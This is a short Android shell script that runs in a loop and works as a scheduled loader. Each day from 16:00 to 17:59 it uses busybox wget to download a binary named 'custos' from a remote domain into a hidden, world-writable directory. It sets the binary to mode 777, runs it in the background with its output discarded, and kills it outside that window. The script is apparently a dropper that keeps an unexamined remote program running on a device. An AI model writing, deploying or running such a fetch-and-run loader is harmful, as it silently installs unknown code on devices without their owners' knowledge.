#!/system/bin/sh
WORKPATH=/data/.kkdata
CUSTOS=$WORKPATH/custos
MAINSUN=`ps -ef | grep "fixedtime" |grep -v grep |wc -l`
if [ $MAINSUN -gt 1 ]; then 
	exit 0
fi

while true; do
    hour=$(date +%H)
    if [ "$hour" -ge 16 ] && [ "$hour" -le 17 ]; then
		if [ ! -d $WORKPATH ]; then
			mkdir -pm 777 $WORKPATH
		fi
        if [ ! -f "$CUSTOS" ]; then
            busybox wget http://pdl.magicef.com/work/soft/custos/custos_armv7 -O $CUSTOS
			chmod 777 $CUSTOS
        fi
		if ! pidof custos >/dev/null 2>&1; then
			cd $WORKPATH
			nohup ./custos --channel C --uid 25117 --path $WORKPATH >/dev/null 2>&1 &
		fi
        sleep 3600
    else
		kill -9 $(ps -ef | grep custos | grep -v grep |awk '{print $2}')
		kill -9 $(ps -ef | grep custosauto | grep -v grep |awk '{print $2}')
        sleep 300
    fi
done